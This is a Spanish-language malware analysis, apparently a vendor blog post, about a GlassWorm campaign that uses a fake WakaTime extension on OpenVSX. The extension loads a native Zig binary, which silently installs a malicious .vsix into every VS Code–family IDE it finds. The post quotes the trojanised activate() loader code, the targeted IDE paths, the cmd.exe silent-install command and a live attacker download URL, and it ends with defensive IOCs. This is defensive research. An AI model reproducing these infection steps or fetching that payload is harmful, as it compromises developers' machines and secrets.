Hemos estado rastreando a GlassWorm durante más de un año. Apareció por primera vez en marzo de 2025, cuando Aikido Security descubrió paquetes npm maliciosos que ocultaban payloads dentro de caracteres Unicode invisibles. La campaña se ha expandido repetidamente desde entonces, comprometiendo cientos de proyectos en GitHub, npm y VS Code, y más recientemente entregando un RAT persistente a través de una extensión falsa de Chrome que registraba las pulsaciones de teclas y volcaba las cookies de sesión. El grupo sigue iterando y acaba de dar un salto significativo.
Observamos esta nueva técnica en una extensión de OpenVSX llamada code-wakatime-activity-tracker. La extensión suplanta a WakaTime, la popular herramienta de seguimiento del tiempo para desarrolladores, y distribuye un binario nativo compilado con Zig junto con su código JavaScript. Esta no es la primera vez que GlassWorm recurre al uso de código nativo compilado en extensiones. Sin embargo, en lugar de usar el binario como payload directamente, se utiliza como una redirección sigilosa para el conocido dropper de GlassWorm, que ahora infecta secretamente todos los demás IDEs que puede encontrar en su sistema.
El dropper: una extensión troyanizada
La extensión code-wakatime-activity-tracker, publicada en OpenVSX, es casi idéntica a la extensión legítima de WakaTime en la superficie: los mismos registros de comandos, las mismas solicitudes de clave API, los mismos iconos de la barra de estado. La divergencia ocurre en un solo lugar: la activate() función.
const bw = process.platform === "win32" ? "./bin/win.node" : "./bin/mac.node";
const { install } = require(bw);
install();Antes de que se ejecute cualquier lógica de WakaTime, la extensión carga un binario nativo del ./bin/ directorio incluido con la extensión e inmediatamente llama a install(). win.node, una DLL PE32+. En macOS es mac.node, un Mach-O universal que cubre tanto x86_64 como arm64. Estos son complementos nativos de Node.js: bibliotecas compartidas compiladas que se cargan directamente en el entorno de ejecución de Node y se ejecutan fuera del sandbox de JavaScript con acceso completo a nivel del sistema operativo. Ambos están escritos en Zig. El binario de macOS fue compilado con los símbolos de depuración intactos, revelando una ruta de proyecto /Users/davidioasd/Downloads/vsx_installer_zig.
Infectando cada IDE en la máquina
Una vez cargado, el primer trabajo del binario es encontrar cada IDE instalado en la máquina que admita el formato de extensión de VS Code. Luego, instala silenciosamente una extensión maliciosa en cada uno que encuentra.
Windows (desde win.node):
%LOCALAPPDATA%\Programs\Microsoft VS Code\bin\code.cmd
%LOCALAPPDATA%\Programs\Microsoft VS Code Insiders\bin\code-insiders.cmd
%LOCALAPPDATA%\Programs\cursor\resources\app\bin\cursor.cmd
%LOCALAPPDATA%\Programs\windsurf\resources\app\bin\windsurf.cmd
%LOCALAPPDATA%\Programs\VSCodium\resources\app\bin\codium.cmd
%LOCALAPPDATA%\Programs\Positron\resources\app\bin\positron.cmd
%ProgramFiles%\Microsoft VS Code\bin\code.cmd
%ProgramFiles%\Positron\resources\app\bin\positron.cmdmacOS (desde mac.node):
/Applications/Visual Studio Code.app/Contents/Resources/app/bin/code
/Applications/Visual Studio Code - Insiders.app/.../code-insiders
/Applications/Cursor.app/Contents/Resources/app/bin/cursor
/Applications/Windsurf.app/Contents/Resources/app/bin/windsurf
/Applications/VSCodium.app/Contents/Resources/app/bin/codium
/Applications/Positron.app/Contents/Resources/app/bin/positronEste no es un ataque exclusivo de VS Code: cubre todo el ecosistema de editores que comparten el mismo sistema de extensiones: VS Code, VS Code Insiders, Cursor, Windsurf, VSCodium y Positron. Un desarrollador que utilice Cursor como su editor principal, pero con VS Code también instalado, encontraría ambos comprometidos.
Con la lista de IDEs creada, el binario obtiene un .vsix malicioso de una página de GitHub Releases controlada por el atacante:
https://github.com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsixEl paquete suplanta a steoates.autoimport, una extensión legítima y popular de VS Code con millones de instalaciones. El archivo descargado .vsix se escribe en una ruta temporal y luego se instala silenciosamente en cada IDE encontrado en el paso anterior utilizando el instalador CLI propio de cada editor. En Windows, esto se ejecuta a través de cmd.exe:
cmd.exe /d /e:ON /v:OFF /c "<ide_path> --install-extension <vsix_path>"Después de la instalación, cleanupVsix elimina el archivo descargado para borrar las pruebas.
La extensión de segunda etapa
El archivo .vsix forzado es el mismo GlassWorm dropper que hemos estado rastreando y analizando en profundidad. Establece geocercas en sistemas rusos, envía balizas a un C2 basado en la blockchain de Solana, y en nuestro análisis anterior descubrimos que realiza exfiltración de secretos e instala un RAT persistente, incluyendo una extensión maliciosa de Chrome.

Cómo Aikido detecta esto
Si ha instalado specstudio/code-wakatime-activity-tracker o ve floktokbok.autoimport en cualquiera de sus listas de extensiones de IDE, considere su máquina comprometida y rote cualquier secreto que haya podido ser accedido.
Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.
Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.
Para una cobertura más amplia en todo su equipo, el Endpoint Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, librerías de código, plugins de IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.
Para protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando los comandos npm, npx, yarn, pnpm y pnpx, y verificando los paquetes contra Aikido Intel antes de la instalación.
IOCs
Extensiones
specstudio/code-wakatime-activity-tracker(extensión OpenVSX troyanizada)autoimport-2.7.9(implante de segunda etapa en IDEs)
Archivos
win.nodedentro del directorio ./bin/ de cualquier extensión de VS Code- SHA-256:
2819ea44e22b9c47049e86894e544f3fd0de1d8afc7b545314bd3bc718bf2e02
- SHA-256:
mac.nodedentro del directorio ./bin/ de cualquier extensión de VS Code- SHA-256:
112d1b33dd9b0244525f51e59e6a79ac5ae452bf6e98c310e7b4fa7902e4db44
- SHA-256:
Red
https://github[.]com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsix
Cadenas
vsx_installer_zig(nombre del proyecto Zig encontrado en el binario de macOS)davidioasd(nombre de usuario encontrado en el binario de macOS)

